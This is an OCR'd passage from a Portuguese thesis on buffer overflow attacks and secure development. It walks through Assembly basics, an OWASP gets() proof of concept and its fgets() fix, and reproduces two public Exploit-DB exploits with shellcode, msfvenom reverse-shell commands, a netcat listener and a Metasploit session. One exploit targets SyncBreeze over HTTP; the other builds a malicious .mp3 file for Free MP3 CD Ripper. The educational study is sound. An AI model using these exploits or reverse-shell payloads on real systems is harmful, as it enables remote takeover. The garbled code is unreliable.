Fonte: INTRO Computer Systems: x64 Cheat Sheet. [S. 1], 2019.
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Na Tabela 5, pode-se verificar a descri¢cao da instrucdo jmp e algumas de suas
variagbes. Essas variagbes existem devido aos resultados da instrucdo de
comparacao comentadas na Tabela 4. O “Condition Code” faz referéncia as flags de
comparacao geradas pela instrucdo. Por exemplo: ZF se refere a “Zero Flag’, que
indica se o resultado da operacao foi nulo. SF, que significa a “Sign Flag”, ou seja, um
indicador que o numero resultante houve a inser¢cdo de um sinal negativo. Como
consequéncia, as varias versbes da instrucdo jmp referem-se a diferentes
combinacdes possiveis dos sinalizadores de comparagdo, consolidando uma

estrutura de execucao condicional.

Instrucbes e comandos em Assembly sdo de simples entendimento quando
isolados. Em muitos casos, instruction sets estdo documentados pelos devidos

fabricantes. Na Figura 8, € visto um exemplo de como fazer um loop (lago de

repeticdo) em Assembly.

Figura 8 - Exemplo de loop em Assembly

1 start:

2 xor  ecx,ecx
3 mov ecx,10
4 loop start

Fonte: FOSTER, James C. BUFFER Overflow Attacks: Detect, Exploit, Prevent. 1. ed. [S. I.]: Syngress, 2005.
521 p. ISBN 1-932266-67-4.

Em Assembly, é possivel nomear um bloco de cédigo com uma palavra. A linha
1 do codigo da Figura 8 exemplifica isso através da nomeacéo do bloco como start.
Apos isso, na linha 2 da Figura 8, é realizada a inicializagéo do registrador ecx com 0
através da operacdo xor ecx, ecx, que realiza uma operagcdo xor no contetdo
de ecx, e atribui o resultado a ecx. Visto que a operacdo xor apenas retorna um
valor verdadeiro (1) caso os dois operandos sejam diferentes, tem-se que um xor em
dois valores iguais retornara sempre falso (0). Na sequéncia, a linha 3 da Figura 8
representa uma atribuicdo do valor 10 a ecx, através do comando mov ecx, 10. Por

fim, a linha 4 da Figura 8 contém o comando loop start, que subtrai 1 do valor de
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ecx e verifica entdo se o resultado desta operacéo € 0. Caso nao seja, é feito um salto
para o local do “nome” ou label atribuido, que no exemplo mostrado na Figura 8, se

chama start.

Instrucdes de salto, ou jmp label, s&0 comumente utilizadas em Assembly
para transferir o fluxo de execuc¢do do cédigo para um novo ponto, que é enderecado

pela label.

Figura 9 - Exemplo de cddigo Assembly com salto

1 Jjmp start
2 dmp 0x2

Fonte: FOSTER, James C. BUFFER Overflow Attacks: Detect, Exploit, Prevent. 1. ed. [S. I.]: Syngress, 2005.
521 p. ISBN 1-932266-67-4

Na Figura 9, vé-se um exemplo de cddigo que contém instrucbes jmp. Na linha
1 daFigura 9, é utilizada para um desvio de fluxo para um label, e neste caso o sistema
operacional realiza a traducdo do endereco para o programa executavel. Na linha 2,
é utilizada diretamente com o endereco para desvio. E recomendavel a referenciacio

de labels para facilitar o desenvolvimento e manutencao do codigo.

2.4 Prova de conceito

E demonstrada nesta se¢&o uma prova de conceito, originalmente apresentada
pela Projeto Aberto de Seguranca de Aplicagcbes Web ou Open Web Application
Security Project (OWASP).
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Figura 10 - Prova de conceito: C6digo vulneravel

#include <stdio.h>
#include <string.h>

void doit(void)
{
char buf[8];

gets(buf);
printf("%s\n", buf);
¥

int main(void)

{
printf("So... The End...\n");
doit();

printf("or... maybe not?\n");

return @;

}
Fonte: BUFFER Overflow Attack. [S. 1], 2021.

O exemplo da Figura 10 demonstra um fluxo simples em que uma aplicacao
faz duas saidas de texto em terminal, delimitando diferentes “etapas” da execucio de
um programa. Entre as duas saidas, é executada uma funcéo, doit (), que recebe

dados do usuario e os imprime na tela.

Figura 11 - Prova de conceito: alerta de vulnerabilidade

Compilation:

user@dojo-labs ~/owasp/buffer overflow § gcc example®2.c -o example8?2
-ggdb

Jtmp/cccbMjcN.o: In function “doit':

Shome/user/owasp/buffer overflow/example®2.c:8: warning: the ~gets’

function is dangerous and should not be used.

Usage example:
user@dojo-labs ~/owasp/buffer overflow % ./example@2
50... The End...

TEST /{ user data on input
TEST J/ print out stored user data
or... maybe not?

Fonte: BUFFER Overflow Attack. [S. I.], 2021.
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Na sequéncia, o exemplo da Figura 11 mostra que ao compilar o arquivo texto,
o compilador GCC faz um alerta de que a funcéo gets () € perigosa e ndo deve ser
utilizada. Este alerta refere-se diretamente ao fato de que a funcdo ndo faz o
tratamento da quantidade de dados que séo enviados a ela, tornando-a possivelmente
vulneravel a ataques de Buffer Overflow.

Em seguida vé-se que ao enviar uma sequéncia de dados que é apenas uma
string comum comportada pela memoria do programa, a execucdo € concluida com

SuUcCesso0.

Figura 12 - Prova de conceito: analise do Assembly

user@dojo-labs ~/owasp/buffer_overflow $ objdump -d ./examplef2
288483be <main>:

80483be: 8d 4c 24 84 lea Bx4(¥esp) ,Hecx
80483c2: 83 4 {8 and fOxfFfffffo,Xesp
80483c5: £F 71 fc pushl Oxfffffffc(Fecx)
80483c8: 55 push %ebp

80483c9: 89 e5 mowv #esp,kebp

80483ch: 51 push ecx

80483cc: 83 ec @4 sub 50x4, %esp

80483cf: c7 84 24 bc 84 04 B8 movl  $8x88484bc, (%esp)
80483d6: ed 5 fe ff ff call 80482d0 <putsgplt>
88483db: ed @ ff ff ff call 8048320 <doit>»
80483e0: c7 84 24 cd 84 94 68 movl  $0x88484cd, (Xesp)
80483e7: ed ed fe ff fF call 80482d0 <puts@plt:>
80483ec: b8 88 80 ee ed mov $0x0 , %eax

8848511 : 83 cd 84 add $0x4,%esp

80483F4: 59 pop secx

80483F5: 5d pop %ebp

B04B83+6: 8d 61 +fc lea BufFffffffc(fecx),%esp
8048319 : c3 ret

8@483fa: 9@ nop

80483fb: oa nop

Fonte: BUFFER Overflow Attack. [S. 1], 2021.

Utilizando a ferramenta objdump, como exemplificado na Figura 12, € possivel

analisar o cédigo Assembly resultante da montagem do programa. Para a prova de
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conceito, tem-se como objetivo demonstrar que € possivel “saltar” a execugao da

segunda funcéo ao desviar o fluxo do programa diretamente para seu término.

Figura 13 - Prova de conceito: desvio de fluxo

user@@dojo-labs ~fowasp/buffer overflow $§ perl -e 'print "A"x12
W F9\x83\x04\x08" " | ./example@?2
So... The End...
AAAAAAAAAAAAL® |
Segmentation fault

Fonte: BUFFER Overflow Attack. [S. 1], 2021.

Como mostra a Figura 13, enviando o endereco do ret ap0s 0 numero
necessario de dados para sobrescrever o buffer, vé-se que apenas a primeira string
€ impressa, e ao invés da segunda o programa retorna um falha de segmentacéo,

evidenciando que a falha foi devidamente explorada para desvio de fluxo.
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Figura 14 - Cédigo que implementa funcédo segura
<stdio.h>
<string.h>

.;:;.'i .j d O'i t ( -::J'i :J )
{
char buf [8];
fgets(buf, 8, )3
printf("%s\n", buf);

main(voi

printf("So... The End...\n")
doit();
printf(

"or... maybe not?\n");

Fonte: Autoria propria

Na sequéncia, através da Figura 14, vé-se uma das possiveis correces que
pode ser aplicada para a vulnerabilidade de Buffer Overflow apontada. Como foi
apontado por um alerta do compilador, idealmente deve ser evitado o uso da funcéo
gets (), devido a sua natureza insegura. Para substitui-la, é utilizada a funcéo
fgets (), em que um dos parametros passados é o tamanho do buffer desejado.
Sendo assim, é possivel especificar quantos bytes sdo lidos da memodria. Dessa
forma, o Buffer Overflow ndo se torna impossivel, pois o desenvolvedor ainda pode
cometer um erro e tentar escrever um numero maior de dados do que o buffer
comporta, porém, ele é dificultado, pois existe um mecanismo expresso para garantir
gue a escrita de dados seja apenas do tamanho apropriado.

Ao compilar e executar o codigo mostrado na Figura 14, tem-se o resultado

contido na Figura 15:
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Figura 15 - Exploracdo falha impossibilitada devido a uso de funcédo segura

:~/TCC% perl -e "print "A"x12 . "‘\xfo\; (@ahx@8""' | ./sample

The End ...

Fonte: Autoria prépria
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3 APLICACOES PRATICAS

Para demonstrar os conceitos citados na secéo 2 deste trabalho, € usado um
exemplo de Buffer Overflow na aplicagdo comercial SyncBreeze, da empresa
Flexense Ltd, utilizada para a sincronizacédo de arquivos em ambiente corporativo. A
falha permite obter execucdo de cddigo remoto em servidores em que a aplicacédo
esta instalada, sem a necessidade de autenticacdo ou interacdo de usuario.

A exploracdo da falha utiliza um artefato presente em diversos sistemas
operacionais, conhecida como shell ou simplesmente linha de comandos, que €, na
realidade, um interpretador de comandos que faz interfaceamento entre o usuario e o
sistema operacional. Comumente é uma aplicacdo que pode ser chamada para
execucao.

E comum, para a obteng&do do controle de servidores ou estacées, que sejam
utilizadas as shells pelos atacantes. Uma vez que este tem acesso ao envio e
recebimento de dados para uma shell do sistema operacional, o controle é
estabelecido. Uma das formas de se obter este controle é através da chamada reverse
shell, estabelecida quando a maquina vitima inicia uma conexao, através do Protocolo
de Controle de Transmisséo ou Transmission Control Protocol (TCP), para a maquina
do atacante, que por sua vez serve uma interface para a passagem de comandos.
3.1 Aplicacéo 1 - SyncBreeze

A aplicacdo corporativa SyncBreeze tem como objetivo a sincronizacdo de
arquivos em um ambiente corporativo. De acordo com a descri¢cdo do fabricante, é
uma solucéo rapida, poderosa e confiavel para a sincronizacdo de discos locais,
compartilhamentos de rede, e Armazenamento Dedicado em Rede ou Network
Attached Storage (NAS).

Em 2017, foi publicada através da Vulnerabilidades e Exposi¢cdes Comuns ou
Common Vulnerabilities and Exposures (CVE), a CVE-2017-14980, que representa a
vulnerabilidade de Buffer Overflow a ser explorado no software SyncBreeze. Sua
descricao relata (Common Vulnerabilities and Exposures, 2017) que o Buffer Overflow
no SyncBreeze Enterprise 10.0.28 garante a um atacante impacto ndo especifico
através do envio de um parametro “usuario” longo para /login. Em outras palavras,
diz-se que € possivel alcancar alto impacto em um sistema vulneravel, ao enviar uma

cadeia de dados excessivamente longa para a requisicdo de Protocolo de
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Transferéncia de Hipertexto ou Hypertext Transfer Protocol (HTTP) que controla a
autenticacdo dos usuarios na ferramenta.

Existem, em repositérios publicos, provas de conceito que exploram a
vulnerabilidade especificada no SyncBreeze. E possivel utiliza-la para demonstracéo

pratica de como ocorre a exploracéo da falha.

Para o cumprimento dos objetivos deste trabalho, € utilizado o cdédigo

disponibilizado publicamente pelo Exploit-DB (Exploit-DB, 2020), nas Figuras 16 e 17.

Figura 16 - Trecho de cédigo da prova de conceito

Exploit Title: SyncBreeze 108.0.28 - ‘password’ Remote Buffer Overflow
Date: 18-Sep-20820
Exploit Author: Abdessalam king(A.salam)

Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup v1@.0.28.exe
Version: 10.0.28
Tested on: Windows 7,windows xp,windows 1@
#72413372 [*] Exact match at offset 520
#jmp esp FFE4 \xff\xed
#!mona modules
#lmona find -s "\xff\xed” -m libspp.dll
#address esp => 18@90C83
#badchars ==> "\x00\x0a\x0d\x25\x26\x2b\x3d"
#msfvenom -p windows/shell reverse tcp LHOST=192.168.1.199 LPORT=1337 -f ¢
-b "\x@@\x@a\xBd\x25\x26\x2b\x3d" EXITFUNC=thread
#! fusr/bin/python

#
#
#
# Vendor Homepage: http://www.syncbreeze.com
#
#
#

import socket

shell =""

shell +="\xba\xdb\x38\x98\x39\xdd\xc7\xd\x7A\x24\xFI\x5F\ %33\ xc I\ xb1"
shell +="\x53\x83\xef \xfc\x31\x57 \x10\xB3\x57 \x1\xa9\xcd\x64 \xd1\xaf"
shell +="\x2e\x95\x22\xcf\xa7\x70\x13\xcF\xdc \xF1\xBA\xFF\x97\x54\xa9"
shell +="\x7d\xF5\xdc\x3a\xF8\xd2\x63\x8b\xb6\x04\xdd \xBc\xea \x75\xcc"
shell +="\x8e\xfB\xa9\x2e\xae\x3b\xbc\x2A\xFf7\x21\x4d\x7d\xad\x2e\xel"
shell +="\x92\xc5\x7a\x39\x18\x95\x6b\x39\ xfd\x6e\x8a\x68\x58\xed\xd5"
shell +="\xaa\x52\x29\xbe\xe3\xdc\x2e\xda\xbd\xe7\ x84 \x21\x3c\x2e\xd5"
shell +="\xca\x93\x@+ \xd9\x39\xed\x48 \xde\xal\x98\xaB\x1c\x5c\x9b\x76"
shell +="\x5e\xba\x2e\x6d\xf8\x49\x88\ x40\ xFB\x9e\ x4\ x19\xF6\x6b\x1b"
shell +="\x45\x1b\x6a\xc8\xfd\x27\xe7 \xef\xd1\xal\xb3\xcb\xf5\xea\x60"
shell +="\x75\xaf\x56\xc7\x8a\xaf\x38\xb8\x2e\xbb\xd5\xad\x42\xe6\xbl"
shell +="\x@2\x6F \x19\x42\xBc\xFB\xba \x70\x93\x52\xe5 \x38\xbc\x7d\xf2"
shell +="\x3F\x77\x39\x6c\xbe\x77\x3a\xad\x05\x23\xba\xde\xac\x4b\xel"
shell +="\x1e\x50'\x9%e\xIc\x15\xF7\x70\x83\xd7 \x6d\x71\x29\x2a\x1a\x9b"
shell +="\xa2\xf5\x3a\xad\x68%x%e\xd3\x58\x93\xbe\xbI\xd5\x75\xaa\xa3"
shell +="\xb3\x2e\x43\x06\xe@\xeb\xT4\x7N\xc3\xBc\o3b\xf@\xbI\xd9\xd3"
shell +="\x4dc\xaa\xde\xdc\xdc\xFI\x48\xdb\xc7 \xed\xdc\x6a\xd8\x38\xeb"
shell +="\xfb\xdF\xb7\x64\xd9\xF1\xc8\xac\x3b\xf1\x5c \xdb\xea\xab\xc8"
shell +="\x51\xcb\x81\x57\xa9\x3e\x92\x9\ x55\xbFf\xb8%\xd4\x68\x55\x83"
shell +="\x82\x8c\xb9\x@3\x52\xdb\xd3\x03\x3a\xbb\x87\x57\x5F \xcd\x1d"
shell +="\xcd\xcc\x51\x9e\xbd\xal\xf2\xf6\x43\x9c\x35\x59\xbb\xcb\x45"
shell +="\x9e\x43\x8d\xde\x5e\xB7\x58\x97\x15\xee\x59 \xac\x36\xed\x77"
shell +="\xd9\xdexa8\x12\x60%x83\xda\xc9\xa7 \xba\xc8\xfb\x57\x39\xd@"

shell +="\x8e\x52\x@5\x56%x63\x2F\x16%\x33\x83\x9c\x17\x16";

Fonte: SYNCBREEZE 10.0.28 - ‘password’ Remote Buffer Overflow. [S. I.], 25 nov. 2020.
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Figura 17 — Trecho de cddigo restante da prova de conceito

payload = "username=AAAAABpassword="+"A"*520+"\x83\xBc\ x99\ x10"+ "\x00"

20 + shell +"\x90"*(1408-520-4-20-1en(shell

req =

req += "POST /login HTTP/1.1\r\n

req += "Host: 192.163.1.26\r\n

req += "User-Agent: Mozilla/5.8 (¥11; Linux x86_64; rv:68.0) Gecko/20188181
Firefox/68.8\r\n"

req += “Accept

text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=8.8\r\n"

req += “Accept-lLanguage: en-US,en;q=0.5\r\n

req += “Accept-Encoding: gzip, d \

req += “Referer: http://192.168.1.28/login\r\n"
req += "Content-Type: application

req += “"Content-Length: "+str(len(payload))+"\r\n"
req += “"Connection: keep-alive\r\n”

req += “Upgrade-Insecure-Requests: 1 1

regq += “\rin"

req += payload

# print req

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM
s.connect(("192.168.1.20",80

s.send(req

print s.recv(1824

s.close

Fonte: SYNCBREEZE 10.0.28 - ‘password’ Remote Buffer Overflow. [S. 1], 25 nov. 2020.

Analisando trechos de codigo das Figuras 16 e 17, nota-se que se trata de um
script na linguagem Python. Vé-se também que estéo inclusos varios parametros de
execucao que devem ser alterados para servir ao ambiente que sera explorado, como
por exemplo, o nimero de Protocolo Internet ou Internet Protocol (IP) da maquina
vitima.

A primeira alteragao essencial é a variavel shell, que contém o shellcode que
€ executado pela vitima. Para a criacdo de um shellcode que sirva as necessidades
do ambiente de teste, faz-se uso da ferramenta msfvenom, como esta instruido em
um dos comentarios do script utilizado. Informa-se o tipo de payload desejado, bem
como o IP e porta da maquina atacante que recebe a conexao, e enfim o formato
(linguagem) do codigo, os bad chars e o método de execucgéo. Dessa forma, é gerado
o shellcode personalizado, como evidenciado na Figura 18, que pode ser inserido no
codigo para que seja executado pela vitima.
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Figura 18 - Geracdo de payload customizado através do msfvenom

:~$ ms nom -p winde tc c .0 LPORT=60 f c \x00% \xady, \ \ \ " EXITFUNC=thread
[-] No platform w electe oosi Msf 11 Mc :Pl: ri from the payloa

eded s
n with final

Fonte: Autoria propria

Altera-se também o endereco IP da maquina vitima no contetdo da requisi¢cao
HTTP utilizada na exploracéo, como mostrado na Figura 19.

Figura 19 - Alterando o enderego IP da vitima

"sstr(len(p
p-ali

STREAM)

Fonte: Autoria prépria

Para a simulagdo da falha, tem-se uma maquina virtual com o sistema
operacional Windows 10 com o SyncBreeze sendo executado em sua versdo
vulneravel.

Na Figura 20, prepara-se o ambiente da maquina vitima, executando o servi¢o

do SyncBreeze para exploragéo.
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Figura 20 - Ambiente de testes — Maquina vitima

Processes Per dormance App history Startup Users Detailz Services

PID  Descrpton
Shared PC Account Mansger

Fonte: Autoria prépria

Figura 21 - Interface de login da aplicagdo vulneravel

0 Sy breereEmepre @ DI x| - & x
« C A novsecure | 19216806700 5 v @ @ -
Sync Breeze Enterprise v10.0.28 02-Mar-2022 19:24:05
Sync Breeze Enterprise Login

user Nome: |
Password:
Lagin || C:
|«

Fonte: Autoria propria

A Figura 21 mostra a pagina de login que é visualizada pelos usuérios da
aplicacdo, e que também serd utilizada como vetor de ataque, recebendo as
requisicbes HTTP.

Com o ambiente de testes preparado, executa-se o listener, servico que
“escuta” e aguarda por conexdes vindas da maquina vitima para estabelecimento da

reverse shell, e entdo o script em Python.
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Figura 22 - Recebimento de conexao e execuc¢do de comando na vitima

:~% nc -vlp 6000
listening on [any] 6800 ...
192.168.0.6: inverse host lookup failed: Unknown host
connect to [192.1¢
Mi soft Windows [V
(c) 2019 Microsoft Corporationm. All

C:\Windows\system32>whoami
whoami

nt authority\system

Fonte: Autoria prépria

Assim, através da sequéncia de ataque mostrada ao longo da secédo 3.1, é

possivel obter controle remoto da méquina vitima através da aplicacdo vulneravel.

3.2 Aplicacao 2 - Free MP3 CD Ripper

Para ilustrar a ocorréncia e o impacto do Buffer Overflow em um contexto mais
ligado ao usuario comum de sistemas computacionais, € utilizada uma falha no
software Free MP3 CD Ripper. De acordo com o fabricante, este produto é um
conversor de midias musicais fisicas de Disco Compacto ou Compact Disk (CD) para
midias digitais.

No caso a demonstrar, a aplicagdo possui uma vulnerabilidade Buffer Overflow
caracterizada como “user assisted”, ou seja, que necessita de alguma interacao ou
assisténcia do usuario para ser executada. Para isso, € utilizado o exploit contido no

repositorio Exploit-DB (Exploit-DB, 2018), como mostrado nas Figuras 23 e 24.
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Figura 23 — Primeira parte do trecho de cddigo para exploracdo de vulnerabilidade

4116
NSEH

SEH
nops X 8

#m
buf

buf +=

buf +=

buf +

buf +

buf

buf += 1\ x24\x14\x

buf 40\x

buf += "\x

buf +=

buf +

buf +

buf

buf +=

buf +=

buf +=

buf +=

buf + e\x28\xeb 2 1

pad B" 4449 - len(NSEH) - len(SEH) - le er) - len(nops) - len(buf

Fonte: FREE MP3 CD Ripper 2.6 - ".mp3' Buffer Overflow (SEH). [S. 1.], 13 set. 2018.

Figura 24 - Segunda parte do trecho de cddigo para exploracdo de vulnerabilidade

payload = buffer + NSEH + SEH + nops + buf + pad
try
‘F:Dpen "exploi‘t‘mSB" w,oow

print "[+] Creating %s bytes evil payload.."” %len(payload
f.write(payload
f.close
print "[+] File created!”
except
print "File cannot be created”

Fonte: FREE MP3 CD Ripper 2.6 - .mp3' Buffer Overflow (SEH). [S. 1.], 13 set. 2018.

Ao observar o exploit nas Figuras 23 e 24, que foi escrito na linguagem Python,
€ possivel constatar que o shellcode esta sendo utilizado como prova de conceito
apenas para a criacdo de um processo ha maquina da vitima, que no caso € a
calculadora do Windows. Essa condi¢éo ja é suficiente para demonstrar a execugao
de codigo remota, porém € possivel escalar o acesso através da criacdo de um
shellcode customizado.

Vé-se que o shellcode original do exploit possui um tamanho de 220 bytes.
Sendo assim, para realizar qualquer modificacdo, € preciso considerar o fato de que
um shellcode com um tamanho excedente a 220 bytes pode né&o funcionar, entédo tem-
se como objetivo minimizar a extensdo. Para isso, sera utilizado o Msfvenom. No
entanto, diferentemente do exemplo mostrado na secdo 3.1 com o SyncBreeze,

devido as restricbes de tamanho, isso devera ser feito de forma diferente. Deve-se
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restringir o tamanho total do shellcode, para que a aplicacdo passe a aceitar a
execucao do exploit.

Na seguranga ofensiva, especificamente se referindo as Reverse Shells, é
possivel dividir os payloads para execucdo maliciosa em duas categorias. Os
Stageless contém todas as instru¢cdes necessarias para o funcionamento do payload
contidos em si mesmos. Ou seja, todo o cédigo malicioso esta contido em um anico
arquivo. Sendo assim, € possivel inferir que essa abordagem cria um shellcode maior
e potencialmente mais facilmente detectavel.

Em contrapartida, existem os payloads conhecidos como Staged. Esta classe
de payloads divide o codigo malicioso em “estagios”, e envia a maquina vitima apenas
a se¢do necessaria para estabelecer uma conexdo com a maquina do atacante, que,
apos a conexao inicial, envia o cddigo malicioso restante para ser executado pela
vitima. Dessa forma, € possivel criar um cédigo mais furtivo e menor, em muitas
ocasifes, com a desvantagem de requerer um handler, ou seja, um programa auxiliar
para manusear as requisi¢des vindas da maquina vitima para enviar o restante do
codigo malicioso.

Com os conceitos de Staged e Stageless estabelecidos, € possivel determinar
gue a abordagem Staged é a mais indicada para a exploracado, visto que existem
possiveis restricbes no tamanho do shellcode. Sendo assim, a criagdo deste ocorre
como evidenciado na Figura 25:

Figura 25 - Criacdo de shellcode

' -f python -——smallest

r_dynamic
alpha_mixed
alpha_upper

nonalpha
er (index=39, char=0x0@)

Fonte: Autoria propria
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Utiliza-se as opc¢des adequadas do Msfvenom para criar um payload do tipo
staged, com o tamanho sendo o menor possivel. E, para a execucao, € preciso um
handler, ja que o Malware criado na Figura 25 € do tipo staged. Neste caso, € utilizado
o handler do Metasploit Framework, da qual também faz parte o Msfvenom. Sendo
assim, tem-se 0s requisitos necessarios para a execuc¢ao do exploit.

As instrucdes do exploit original indicam que o codigo cria um arquivo malicioso
com a extensdo .mp3, para que seja lido pelo Free MP3 CD Ripper e, entao,
convertido e executado. Através do script em Python, utilizando o shellcode

customizado criado para a exploracao, € criado o malware.

Figura 26 - Localizagdo do script em Python para criagdo do Malware
:~fTCC 1s -la

o ali kali 4¢
x 23 kali kali

-rW-r—r— 1 root root 2566 23 22:20 exploit.py

:~/Tccs |

Fonte: Autoria prépria
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Figura 27 - Insercdo de shellcode customizado no codigo original

[ = =

L= =Ty =

Fonte: Autoria prépria

A Figura 27 mostra a insercdo do shellcode customizado no codigo original,
mostrado nas Figuras 23 e 24.

Figura 28 - Execucdo do script e verificacdo de criacdo de Malware

:~/TCC$ python exploit.py
L evil payload ..

4096
4096

exploit.py

Fonte: Autoria prépria

O arquivo “exploit.mp3” contém o malware que deve ser executado pela vitima

para consolidar a exploracéo. A entrega do arquivo, em um cenario real, pode ser feita
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de diversas formas, incluindo dispersao gratuita na Internet ou ataques de engenharia

social.
Figura 29 - Arquivo posicionado na maquina da vitima
)
File Edit Tools Help
Y = ¥ | e 4 A
Corvert Falder Options Help  Home  Exit
Artist:| Album:| Yearl Genre:| j Commant:|
Ma, Title 8‘ Wav te Mp3 Converter b
Look in: | Exploit ﬂ £t B~
E} MName - # Title Centributing art
Quick access [SleploEnps
7 exploit.py
Desktop
|
Libraries
This PC
Network
< >
File name: |exp|0rt.mp:l ﬂ Open |
Files of type: | Any file(".") j Cancel

Output Format: |pip3 file[* MP3) -

(Can not find audio CD in your CD device,

Output Folder: | C:4Frogram Files [x86]5Free MP3 CD RippersOutput

Fonte: Autoria prépria

Uma vez que a vitima esta em posse do arquivo malicioso, ao utilizar a opcao

Convert, que normalmente é utilizada para ler um arquivo e codificar um arquivo para

outro formato. O malware é executado e o0 atacante assume controle da maquina

vitima.



Figura 30 - Obtencéo de controle da maquina vitima através de codigo malicioso

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.8:6000

Encoded stage with x86/shikata_ga_nai

Sending encoded stage (267 bytes) to 192.168.0.7

Command shell session 1 opened (192.168.0.8:6000 — 192.168.0.7:53629 ) at -03-23 20:57:29 -0400

C:\Exploit>dir

dir

Volume in drive C has no label.
Volume Serial Number is 4AF3-5CCF

Directory of C:\Exploit

03/23/2022 156 PM <DIR>
03/23/2022 156 PM <DIR> o
03/23/2022 156 PM 4,450 exploit.mp3
03/23/2022 156 PM 3,716 exploit.py
2 File(s) 8,166 bytes
2 Dir(s) 29,672,583,168 bytes free

C:\Exploit>whoami
whoami
desktop-7s5ht64\ager

c:\Exploit>f}

Fonte: Autoria prépria

36
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4 RESULTADOS

Durante os testes executados neste trabalho, foi possivel obter uma
perspectiva de um cenario real em que um atacante explora com sucesso um cenario
vulneravel a Buffer Overflow. Dessa forma, os testes realizados conseguem
demonstrar, reiterando a importancia do trabalho, o processo utilizado por atacantes
reais que tem como objetivo explorar a falha de Buffer Overflow, bem como o impacto
causado.

A metodologia utilizada nos testes e em ataques reais consiste em:

o Reconhecimento da aplicacao e do ambiente: Através da interacdo com

a aplicacdo que se quer invadir, bem como com a utilizacdo de
ferramentas automatizadas, é possivel obter informacfes importantes
sobre o alvo, como numero de versdo ou componentes instalados, por
exemplo;

o Enumeracédo: busca interativa para confirmacédo da vulnerabilidade
(exemplo: envio de cadeia de caracteres excessivamente longa).
Procura na Internet por exploits publicos que estejam aptos a utilizacao
no ambiente do alvo;

o Exploragéo e confirmacgédo de impacto: utilizando ferramentas e métodos,
como os que foram mostrados nas sec¢fes 3.1 e 3.2 deste trabalho,
concretiza-se o ataque e confirma-se o impacto no alvo (Reverse shell
ou negacao de servico, por exemplo).

Os testes realizados neste trabalho mostraram que os ataques, caso
executados em cenarios reais, poderiam causar impactos severos para as vitimas. No
caso de ambientes empresariais, um caminho comum seguido por atacantes € a
instalacdo de um Ransomware (sequestro digital). Em ambientes residenciais, de
forma direcionada, atacantes podem chantagear suas vitimas, ameacando a

divulgacao de informacdes pessoais, caso nao seja pago um valor de resgate.

4.1 Desenvolvimento Seguro
Em termos gerais, € preciso, inicialmente, destacar a importancia do
desenvolvimento seguro dentro do meio corporativo. Na medida que software passa

a ser utilizado mais amplamente como ferramenta de facilitacdo de negdcios, o
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namero de companhias que passa a depender desse para manter sua operacao
aumenta. Dadas as condicfes naturais de crescimento de mercados e globalizacéo,
€ possivel também inferir que esse crescimento expandiu também a cadeia de
dependéncia de outras empresas em ferramentas de software, mesmo que nao
estejam sendo utilizadas diretamente. Um exemplo de simples visualizacéo seria um
estabelecimento comercial familiar dependendo do bom funcionamento de uma
grande rede de distribuicdo de produtos (mercearia local, dependendo da industria).

Em seu livro Winning with Software: An Executive Strategy (Vencendo com
Software: uma estratégia executiva), Watts S. Humphrey, conhecido como pai da
engenharia de software, afirma (HUMPHREY, 2001, p.1): “Todo empreendimento é
um empreendimento de software”. Em fevereiro de 2019, Satya Nadella, o entao
presidente da Microsoft, repetiu essa citacdo em uma conferéncia sobre globalizagao
e tecnologia. Reforcando, entdo, a importancia do software para todos os niveis
distintos de organizacao.

Uma vez estabelecida a premissa de que todas as organizacdes precisam de
software, pode-se concluir que o desenvolvimento deste artefato, juntamente com
outras atividades de negdcio, deveria ser definido através de um processo de
software. Ou seja, um conjunto de atividades bem definidas para garantir a devida
qualidade do que esta sendo produzido.

O efetivo processo de desenvolvimento de um produto de software vai muito
além da escrita do cédigo. “Temos que lembrar que para a producao correta, eficiente
e segura de um software precisamos criar um processo — € a este processo damos o
nome de Secure Software Development Life Cycle” (CABRAL, 2022, n.p).

O processo de desenvolvimento seguro, se resume em garantir que o produto
final € mais seguro, através da aplicacdo de atividades estruturadas durante o
desenvolvimento. De maneira geral, as etapas que fazem parte do processo de
desenvolvimento sao:

¢ Requisitos;

e Desenho;

e Desenvolvimento;

e Testes;

e Implantagéo.
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Para que seja implantado o processo de desenvolvimento seguro, é necessaria
a agregacao e readequacao das tarefas existentes. Sendo assim, existem algumas

sugestdes de tarefas mostradas na Figura 31:

Figura 31 - Etapas do processo de desenvolvimento seguro

Fonte: CABRAL, Leandro. Secure Software Development Lifecycle. [S. 1], 8 fev. 2022.

Listadas na Figura 31, observa-se:

e Funcionalidades de seguranca,
e Revisdo do desenho com base em modelos de ameaca;
e Analise estatica e codificacdo segura,;

e Teste de intrusdo e revisdo de cbdigo.

As funcionalidades de seguranca sao alguns itens que devem ser considerados
na construcdo do software para garantir alguns atributos basicos de uma aplicacéo
segura. Alguns exemplos sdo a validacdo dos dados de entrada de usuario e a
restricdo para a insercdo de dados na area de transferéncia (impedir a copia e a
colagem de dados).

Revisdo do desenho com base em modelos de ameaca é uma analise
minuciosa da arquitetura de forma a identificar, comunicar e compreender as possiveis
ameacas ao modelo criado. Em suma, faz-se a pergunta de quais sédo os fatores
referentes a seguranca que podem influenciar negativamente na aplicacéo,
observando ndo apenas as ferramentas ou procedimentos, mas a arquitetura como
um todo.

Andlise estatica e a codificacdo segura refere-se ao trabalho manual de
verificacdo do codigo fonte de aplicacéo antes desta ser executada. Ou seja, a leitura
do cédigo para identificar potenciais falhas.

Os testes de intrusdo e a revisdo de cbédigo ocorrem em um cenario mais

proximo da implementacéo. Sendo assim, é feita uma analise da aplicacdo em seu
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ambiente de funcionamento, sdo revistas as praticas e técnicas de codificacéo,
guando necessario.
4.2 Exemplos do ambiente corporativo

Para algumas fases do processo de desenvolvimento descritas na secao 4.1
deste trabalho, sdo exemplificadas, com base na metodologia utilizada pela OWASP
(OWASP, 2022, n.p), algumas instancias de situacdes hipotéticas de alta e baixa
maturidade referente a desenvolvimento seguro e as medidas tomadas por niveis de
organizacao.

e Fase de Requisitos:

o Exemplo de baixa maturidade: Uma aplicagcéo que recebe e agrega
dados de uma série de plataformas é encomendada. A aplicacéo
deve apresentar uma Application Programming Interface, ou
Interface para Programacao de Aplicacdo (API) unificada para as
requisi¢cdes aos dados. Os usuarios sao os colaboradores do cliente.
A aplicacédo precisa ser acessivel através da Internet. A natureza dos
dados acessados, tempo de retencdo, método de transporte e
comunicacgdo com a infraestrutura n&o séo considerados;

o Exemplo de altamaturidade: A entidade que implementa o software
utiliza um processo de desenvolvimento maduro. As equipes de
engenharia recebem o treinamento de seguranca e uma lista
